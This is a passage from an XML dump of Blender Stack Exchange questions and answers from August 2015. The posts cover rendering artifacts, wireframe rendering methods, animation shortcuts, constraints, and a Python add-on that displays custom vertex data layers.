image&#xA;&#xA;    # bake&#xA;    bpy.ops.object.bake(type='COMBINED')&#xA;&#xA;    # resave image with baked data&#xA;    image.save()&#xA;&#xA;    print (&quot;Frame &quot;+str(i)+&quot; complete&quot;)&#xA;&#xA;# switch back to the frame you were on before running this code&#xA;bpy.context.scene.frame_current = current_frame&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Currently it gives this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &quot;C:\Users\User\Desktop\internal.blend\Text&quot;, line 22, in &amp;lt;module&amp;gt;&#xA;  File &quot;C:\Program Files\Blender Foundation\Blender\2.75\scripts\modules\bpy\ops&#xA;.py&quot;, line 189, in __call__&#xA;    ret = op_call(self.idname_py(), None, kw)&#xA;RuntimeError: Error: No active image found in material &quot;Material.002&quot; (0) for ob&#xA;ject &quot;Sphere&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If someone can tell how to set the &quot;active image&quot; for a Material, then I think this script will run fine.&lt;/p&gt;&#xA;" OwnerUserId="16748" LastActivityDate="2015-08-30T08:03:17.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36713" PostTypeId="1" CreationDate="2015-08-30T08:41:24.173" Score="4" ViewCount="1110" Body="&lt;p&gt;I would like to ask for a help. I have draw simple object with lights, but there was some squared shadows after rendering. (visible on the top and on the left side of the objects). There could be some consequence with size of the object (about 5mm). Unfortunately I have no Idea about solving Blenders sensitivity during rendering, antialiasing, or some other issues related with problem.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/vloMq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vloMq.png&quot; alt=&quot;The wrong rendered image.&quot;&gt;&lt;/a&gt;&#xA;Do you know how to fix this object?&#xA;Thanks for replies!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;I have just tried to change the buffered shadows to the ray shadows. The result is much better, really big thanks for buffered shadow information, that in base solved my issue (image is usable now), but there are still small squares. Is there somehow possible to create image even better? (This is just for my interest now, not because of some real trouble) The image is shown below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Y4zdq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y4zdq.png&quot; alt=&quot;Rendering with the ray shadows only.&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16786" LastEditorUserId="16786" LastEditDate="2015-08-30T12:29:20.290" LastActivityDate="2015-08-30T15:02:23.690" Title="Squared shadows after rendering" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;&lt;antialiasing&gt;" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="36714" PostTypeId="2" ParentId="36701" CreationDate="2015-08-30T08:59:08.547" Score="6" Body="&lt;p&gt;There are quite a few ways to accomplish this.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;h1&gt;OpenGL&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://blender.stackexchange.com/a/2375/599&quot;&gt;this answer&lt;/a&gt; for details on setting up the wireframe.&lt;br&gt;&#xA;Note that the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.69/Modeling#Viewport:_Hidden_Wire&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Hidden Wire&lt;/em&gt;&lt;/a&gt; draw option can be useful for culling the wires on the back of the model without setting the color of the model to match the background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://blender.stackexchange.com/q/10942/599&quot;&gt;this answer&lt;/a&gt; for details on making the models in the viewport shadeless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Pros:&lt;/strong&gt; Very fast.  Usually no artifacts or missing lines. &lt;a href=&quot;https://blender.stackexchange.com/q/9177/599&quot;&gt;Works with optimal (curved) wireframes&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cons:&lt;/strong&gt; Total hack, requires setting theme colors to adjust the color of the wire and background. No control over line width.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;h1&gt;Blender Internal&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://blender.stackexchange.com/a/3150/599&quot;&gt;these&lt;/a&gt; two &lt;a href=&quot;https://blender.stackexchange.com/a/2785/599&quot;&gt;answers&lt;/a&gt; for setting up the wireframe materials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make the base material &lt;em&gt;shadeless&lt;/em&gt;, enable &lt;em&gt;Shadeless&lt;/em&gt; in &lt;em&gt;material settings &gt; Shading&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lDz9s.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lDz9s.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make it automatically match the background color, enable &lt;em&gt;Mask Transparency&lt;/em&gt; in the base material and set the alpha to 0:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/daQWH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/daQWH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/446/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=446&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Pros:&lt;/strong&gt; &lt;a href=&quot;https://blender.stackexchange.com/q/9177/599&quot;&gt;Works with optimal (curved) wireframes&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cons:&lt;/strong&gt; Can have issues with the Z offset causing missing lines or visible lines which should be occluded. Limited control over line styled/width.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;h1&gt;Cycles&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;To get wireframes directly in cycles, see &lt;a href=&quot;https://blender.stackexchange.com/q/605/599&quot;&gt;this question&lt;/a&gt; and the &lt;a href=&quot;http://blender.org/manual/render/cycles/nodes/input.html#wireframe&quot; rel=&quot;nofollow noreferrer&quot;&gt;wireframe node&lt;/a&gt;.&lt;br&gt;&#xA;To make a shadeless material in cycles, see &lt;a href=&quot;https://blender.stackexchange.com/a/8110/599&quot;&gt;this answer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Pros:&lt;/strong&gt; It's cycles&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cons:&lt;/strong&gt; Perfect non-triangulated wireframes are not currently possible. There is a workaround with UV coordinates, however this results in line sizes relative to polygon size.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;h1&gt;Wireframe modifier&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://blender.org/manual/modifiers/generate/wireframe.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;wireframe modifier&lt;/a&gt; generates actual mesh geometry representing the wireframe of the input mesh. Since the output is just a mesh, it works with both BI and Cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://blender.stackexchange.com/a/9273/599&quot;&gt;this answer&lt;/a&gt; for details on setting it up (answer is for cycles, but the process is identical for BI).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For shadeless renders, see the previous sections in this answer regarding BI and Cycles for descriptions of their respective methods of creating shadeless shaders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Pros:&lt;/strong&gt; Just works&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cons:&lt;/strong&gt; Generates geometry; line thickness is defined in 3D space.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;h1&gt;Freestyle&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blender.org/manual/render/freestyle/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Freestyle&lt;/a&gt; is a line rendering engine which supports drawing over both BI and Cycles renders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For cycles, see &lt;a href=&quot;https://blender.stackexchange.com/a/9274/599&quot;&gt;this answer&lt;/a&gt;.&lt;br&gt;&#xA;For BI, see &lt;a href=&quot;https://blender.stackexchange.com/a/2785/599&quot;&gt;this answer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Pros:&lt;/strong&gt; Lots of control over line style etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cons:&lt;/strong&gt; Sometimes edges have gaps/other artifacts. Can be resource hungry.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2015-08-30T08:59:08.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36715" PostTypeId="1" AcceptedAnswerId="36735" CreationDate="2015-08-30T10:09:57.033" Score="3" ViewCount="1490" Body="&lt;p&gt;I am making a Reloading animation and I want at first to Parent the &lt;em&gt;mag&lt;/em&gt; to the &lt;em&gt;gun&lt;/em&gt; when it moves, then Parent the &lt;em&gt;mag&lt;/em&gt; to the &lt;em&gt;hand&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to do that I though of creating 2 &lt;strong&gt;Child of Constraints&lt;/strong&gt; and then somehow animate the disabling and enabling of the two &lt;em&gt;Constraints&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how do I do that, if there is any way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or maybe it would better be to do so somehow else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;amp; &lt;em&gt;please no python&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-08-30T15:28:11.400" Title="How to animate Constraints?" Tags="&lt;animation&gt;&lt;armature&gt;&lt;constraints&gt;&lt;parent&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="36717" PostTypeId="2" ParentId="36707" CreationDate="2015-08-30T12:01:02.697" Score="6" Body="&lt;p&gt;&lt;strong&gt;&lt;em&gt;Disable&lt;/em&gt;&lt;/strong&gt; the &lt;strong&gt;&lt;em&gt;Limit selection to visible&lt;/em&gt;&lt;/strong&gt; option as people suggested you in their comments. Make sure, that the icon &lt;strong&gt;&lt;em&gt;is not highlighted&lt;/em&gt;&lt;/strong&gt;.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/JRNIf.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JRNIf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/QnqHc.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QnqHc.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also make sure, that you haven't masked some part of your object. Select the whole mesh before painting (&lt;kbd&gt;A&lt;/kbd&gt;).&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/hkWpq.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hkWpq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2015-08-30T12:01:02.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36718" PostTypeId="1" AcceptedAnswerId="36719" CreationDate="2015-08-30T12:06:21.153" Score="5" ViewCount="1480" Body="&lt;p&gt;As I was making an Animation I found my self to oftenly press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; to start and stop the green slider, and then when I stopped it I had to get it with my mouse and move it back to the beginning of the Timeline to see the Animation again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KwuNo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KwuNo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that you can cancel the animation, and take the slider to the beginning when its playing by pressing &lt;kbd&gt;Esc&lt;/kbd&gt; key but I can't get used to that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see what I mean in the video below on Minute &lt;strong&gt;5:40&lt;/strong&gt; &lt;strong&gt;-&lt;/strong&gt; &lt;strong&gt;5:44&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=NsdRUk807qk&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=NsdRUk807qk&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastEditorUserId="3078" LastEditDate="2015-08-30T16:06:14.090" LastActivityDate="2015-08-30T16:08:53.043" Title="How can I jump to the first frame in the timeline?" Tags="&lt;animation&gt;&lt;shortcut&gt;&lt;timeline&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-08-30T18:08:59.447" ContentLicense="CC BY-SA 3.0" />
  <row Id="36719" PostTypeId="2" ParentId="36718" CreationDate="2015-08-30T12:10:11.393" Score="6" Body="&lt;p&gt;Pressing &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;Left Arrow&lt;/kbd&gt;, in the timeline, moves you to the first frame; &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;Right Arrow&lt;/kbd&gt; gets you to the last frame. &lt;/p&gt;&#xA;" OwnerUserId="8094" LastEditorUserId="3078" LastEditDate="2015-08-30T16:08:53.043" LastActivityDate="2015-08-30T16:08:53.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36720" PostTypeId="1" CreationDate="2015-08-30T12:23:52.653" Score="3" ViewCount="417" Body="&lt;p&gt;I am trying to add a spring to my object's armature that will stretch and shrink. But when I apply the 'stretch to' constraint in the 'Apply constraint (with targets)' section, the spring suddenly changes the direction and is not aligned with its target (shown in pictures below). Could anyone fill me in on what I missed to have the spring align with the target?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/phehj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/phehj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/s9VUx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/s9VUx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16767" LastActivityDate="2016-03-27T15:43:36.943" Title="Adding 'stretch to' constraint on spring with target will change direction of spring" Tags="&lt;armature&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36721" PostTypeId="1" CreationDate="2015-08-30T13:24:23.283" Score="0" ViewCount="44" Body="&lt;p&gt;I was working in my first intro and I wanted to connect audio light to the song and I miss clicked and I probably connected it to my text. anyone know how to disconnect it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9CGF0.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9CGF0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the screenshot and i tried to delete it but it doesn't work&lt;/p&gt;&#xA;" OwnerUserId="16791" LastEditorUserId="12" LastEditDate="2015-08-30T15:41:33.847" LastActivityDate="2015-08-30T15:41:33.847" Title="F-curve connected sound to text" Tags="&lt;animation&gt;&lt;graph-editor&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="36722" PostTypeId="2" ParentId="36720" CreationDate="2015-08-30T13:30:19.477" Score="2" Body="&lt;p&gt;To fix this you have to Select your Spring and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; &lt;em&gt;to add Constraints (with Targets)&lt;/em&gt; and choose &quot;&lt;strong&gt;Copy Transforms&lt;/strong&gt;&quot; Constraint, this will add an empty were your mesh is and copy its Transforms this way giving your mesh the default: &lt;em&gt;location / scale / rotation&lt;/em&gt; and for you to be able to change it, by &lt;em&gt;moving / scaling / rotating&lt;/em&gt; your empty&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rBnq3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rBnq3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-08-30T13:30:19.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36724" PostTypeId="2" ParentId="36703" CreationDate="2015-08-30T13:51:22.360" Score="1" Body="&lt;p&gt;That is the frame number in the bottom left corner of the 3D view. It is just telling you what the current frame is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use any means of changing the frame to change that display: timeline, graph editor, dope sheet, etc.&lt;br&gt;&#xA;The fastest way to return to frame one is to press &lt;Kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Left Arrow&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can disable the display of the current frame in the user preferences.&lt;br&gt;&#xA;In the &lt;em&gt;Interface&lt;/em&gt; tab uncheck the box for &lt;em&gt;Object Info&lt;/em&gt;, that will hide the active object's name and current frame.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/C5T0u.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/C5T0u.png&quot; alt=&quot;user preferences&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-08-30T13:51:22.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36725" PostTypeId="1" CreationDate="2015-08-30T13:52:27.630" Score="1" ViewCount="30" Body="&lt;p&gt;I would like to use &lt;code&gt;wm.context_toggle&lt;/code&gt; to work with &lt;code&gt;SpaceUVEditor.show_texpaint&lt;/code&gt;. What would be the proper Context Attribute (if it is actually possible to do this)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="15015" LastEditorUserId="3710" LastEditDate="2015-08-30T16:00:27.547" LastActivityDate="2015-08-30T16:00:27.547" Title="Hotkey for SpaceUVEditor.show_texpaint" Tags="&lt;python&gt;&lt;interface&gt;&lt;customization&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36726" PostTypeId="2" ParentId="36710" CreationDate="2015-08-30T13:52:54.560" Score="3" Body="&lt;p&gt;&lt;code&gt;Layout.prop()&lt;/code&gt; supports &lt;code&gt;bpy.props&lt;/code&gt; and ID properties only. You can't use it for custom data layers such as &lt;code&gt;bm.verts.layers&lt;/code&gt; of the Bmesh module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would have to create a (temporary) set of properties for (selected) &lt;code&gt;bm.verts&lt;/code&gt; in order to display their custom data. Because there are no proper callbacks to detect changes to the mesh, the only way I see is to use brute force: re-fill a &lt;code&gt;CollectionProperty&lt;/code&gt; on every panel redraw with as many elements as there are (selected) vertices. These elements can be displayed without problems, but it's highly inefficient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be much better to have a button the user needs to press to update the &lt;code&gt;template_list()&lt;/code&gt; with selected vertices, so that it doesn't happen all the time (i.e. 20x per second when moving the mouse over the panel).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;class MeshVertLayerList(bpy.types.UIList):&#xA;    def draw_item(self, context, layout, data, item, icon, active_data, active_propname):&#xA;        if self.layout_type in {'DEFAULT', 'COMPACT'}:&#xA;            layout.label(item.name)&#xA;            layout.prop(item, &quot;value&quot;, text=&quot;&quot;, emboss=False)&#xA;&#xA;        elif self.layout_type in {'GRID'}:&#xA;            layout.alignment = 'CENTER'&#xA;            layout.label(text=&quot;&quot;)&#xA;&#xA;&#xA;class MESH_OT_vert_layer_add(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Tooltip&quot;&quot;&quot;&#xA;    bl_label = &quot;Add Vertex Layer&quot;&#xA;    bl_idname = &quot;mesh.vert_layer_add&quot;&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return (context.object is not None and&#xA;                context.object.type == 'MESH' and&#xA;                context.object.mode == 'EDIT')&#xA;&#xA;    def execute(self, context):&#xA;        bm = bmesh.from_edit_mesh(context.object.data)&#xA;        try:&#xA;            bm.verts.layers.float['test']&#xA;        except KeyError:&#xA;            bm.verts.layers.float.new('test')&#xA;        else:&#xA;            return {'CANCELLED'}&#xA;&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;class HelloWorldPanel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel in the Object properties window&quot;&quot;&quot;&#xA;    bl_label = &quot;Hello World Panel&quot;&#xA;    bl_idname = &quot;OBJECT_PT_hello&quot;&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;data&quot;&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return (context.object is not None and&#xA;                context.object.type == 'MESH' and&#xA;                context.object.mode == 'EDIT')&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        wm = context.window_manager&#xA;&#xA;        ob = context.object&#xA;        me = ob.data&#xA;        bm = bmesh.from_edit_mesh(me)&#xA;&#xA;        try:&#xA;            l = bm.verts.layers.float['test']&#xA;        except KeyError:&#xA;            layout.label(&quot;No custom data layer 'test'.&quot;)&#xA;            layout.operator(&quot;mesh.vert_layer_add&quot;)&#xA;            return&#xA;&#xA;        wm.mesh_vert_layer.verts.clear()&#xA;        for v in bm.verts:&#xA;            if v.select:&#xA;                item = wm.mesh_vert_layer.verts.add()&#xA;                item.name = &quot;Vertex #%i&quot; % v.index&#xA;                item.index = v.index&#xA;                item.value = v[l]&#xA;&#xA;        layout.template_list(&quot;MeshVertLayerList&quot;, &quot;&quot;, wm.mesh_vert_layer, &quot;verts&quot;, wm.mesh_vert_layer, &quot;index&quot;)&#xA;&#xA;&#xA;def upd(self, context):&#xA;    try:&#xA;        me = context.object.data&#xA;        bm = bmesh.from_edit_mesh(me)&#xA;        bm.verts[self.index][bm.verts.layers.float['test']] = self.value&#xA;        bmesh.update_edit_mesh(me, tessface=False, destructive=False)&#xA;    except:&#xA;        pass&#xA;&#xA;class MeshVertLayerVert(bpy.types.PropertyGroup):&#xA;    value = bpy.props.FloatProperty(update=upd)&#xA;    index = bpy.props.IntProperty()&#xA;&#xA;&#xA;class MeshVertLayer(bpy.types.PropertyGroup):&#xA;    index = bpy.props.IntProperty()&#xA;    verts = bpy.props.CollectionProperty(type=MeshVertLayerVert)&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;    bpy.types.WindowManager.mesh_vert_layer = bpy.props.PointerProperty(type=MeshVertLayer)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;    del bpy.types.WindowManager.mesh_vert_layer&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As a side note: custom data &quot;propagates&quot; on mesh operations such as extrude.  There's a patch in the making to disable it: &lt;a href=&quot;https://developer.blender.org/T42865&quot; rel=&quot;nofollow&quot;&gt;https://developer.blender.org/T42865&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit:&lt;/strong&gt; It's possible to bind an update operator to &lt;code&gt;SELECTMOUSE&lt;/code&gt; &lt;code&gt;RELEASE&lt;/code&gt; to update the &lt;code&gt;CollectionProperty&lt;/code&gt; after a selection change. It will work for right-clicks only however. I'm not sure if it's possible to do the same for modal selection operators such as lasso.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;class MeshVertLayerList(bpy.types.UIList):&#xA;    def draw_item(self, context, layout, data, item, icon, active_data, active_propname):&#xA;        if self.layout_type in {'DEFAULT', 'COMPACT'}:&#xA;            layout.label(item.name)&#xA;            layout.prop(item, &quot;value&quot;, text=&quot;&quot;, emboss=False)&#xA;&#xA;        elif self.layout_type in {'GRID'}:&#xA;            layout.alignment = 'CENTER'&#xA;            layout.label(text=&quot;&quot;)&#xA;&#xA;class MESH_OT_vert_prop_update(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Tooltip&quot;&quot;&quot;&#xA;    bl_label = &quot;Vertex Properties Update&quot;&#xA;    bl_idname = &quot;mesh.vert_prop_update&quot;&#xA;    bl_options = {'INTERNAL'}&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return (context.object is not None and&#xA;                context.object.type == 'MESH' and&#xA;                context.object.mode == 'EDIT')&#xA;&#xA;&#xA;    def execute(self, context):            &#xA;        ob = context.object&#xA;        me = ob.data&#xA;        wm = context.window_manager&#xA;        bm = bmesh.from_edit_mesh(me)&#xA;&#xA;        try:&#xA;            l = bm.verts.layers.float['test']&#xA;        except KeyError:&#xA;            return {'CANCELLED'}&#xA;&#xA;        wm.mesh_vert_layer.verts.clear()&#xA;        for v in bm.verts:&#xA;            if v.select:&#xA;                item = wm.mesh_vert_layer.verts.add()&#xA;                item.name = &quot;Vertex #%i&quot; % v.index&#xA;                item.index = v.index&#xA;                item.value = v[l]&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;class MESH_OT_vert_layer_add(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Tooltip&quot;&quot;&quot;&#xA;    bl_label = &quot;Add Vertex Layer&quot;&#xA;    bl_idname = &quot;mesh.vert_layer_add&quot;&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return (context.object is not None and&#xA;                context.object.type == 'MESH' and&#xA;                context.object.mode == 'EDIT')&#xA;&#xA;    def execute(self, context):&#xA;        bm = bmesh.from_edit_mesh(context.object.data)&#xA;        try:&#xA;            bm.verts.layers.float['test']&#xA;        except KeyError:&#xA;            bm.verts.layers.float.new('test')&#xA;        else:&#xA;            return {'CANCELLED'}&#xA;&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;class HelloWorldPanel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel in the Object properties window&quot;&quot;&quot;&#xA;    bl_label = &quot;Hello World Panel&quot;&#xA;    bl_idname = &quot;OBJECT_PT_hello&quot;&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;data&quot;&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return (context.object is not None and&#xA;                context.object.type == 'MESH' and&#xA;                context.object.mode == 'EDIT')&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        wm = context.window_manager&#xA;        layout.template_list(&quot;MeshVertLayerList&quot;, &quot;&quot;, wm.mesh_vert_layer, &quot;verts&quot;, wm.mesh_vert_layer, &quot;index&quot;)&#xA;&#xA;&#xA;def upd(self, context):&#xA;    try:&#xA;        me = context.object.data&#xA;        bm = bmesh.from_edit_mesh(me)&#xA;        bm.verts[self.index][bm.verts.layers.float['test']] = self.value&#xA;        bmesh.update_edit_mesh(me, tessface=False, destructive=False)&#xA;    except:&#xA;        pass&#xA;&#xA;class MeshVertLayerVert(bpy.types.PropertyGroup):&#xA;    value = bpy.props.FloatProperty(update=upd)&#xA;    index = bpy.props.IntProperty()&#xA;&#xA;&#xA;class MeshVertLayer(bpy.types.PropertyGroup):&#xA;    index = bpy.props.IntProperty()&#xA;    verts = bpy.props.CollectionProperty(type=MeshVertLayerVert)&#xA;&#xA;&#xA;addon_keymaps = []&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;    bpy.types.WindowManager.mesh_vert_layer = bpy.props.PointerProperty(type=MeshVertLayer)&#xA;&#xA;    wm = bpy.context.window_manager&#xA;    km = wm.keyconfigs.addon.keymaps.new(name='Mesh', space_type='EMPTY')&#xA;&#xA;    kmi = km.keymap_items.new(MESH_OT_vert_prop_update.bl_idname, 'SELECTMOUSE', 'RELEASE', 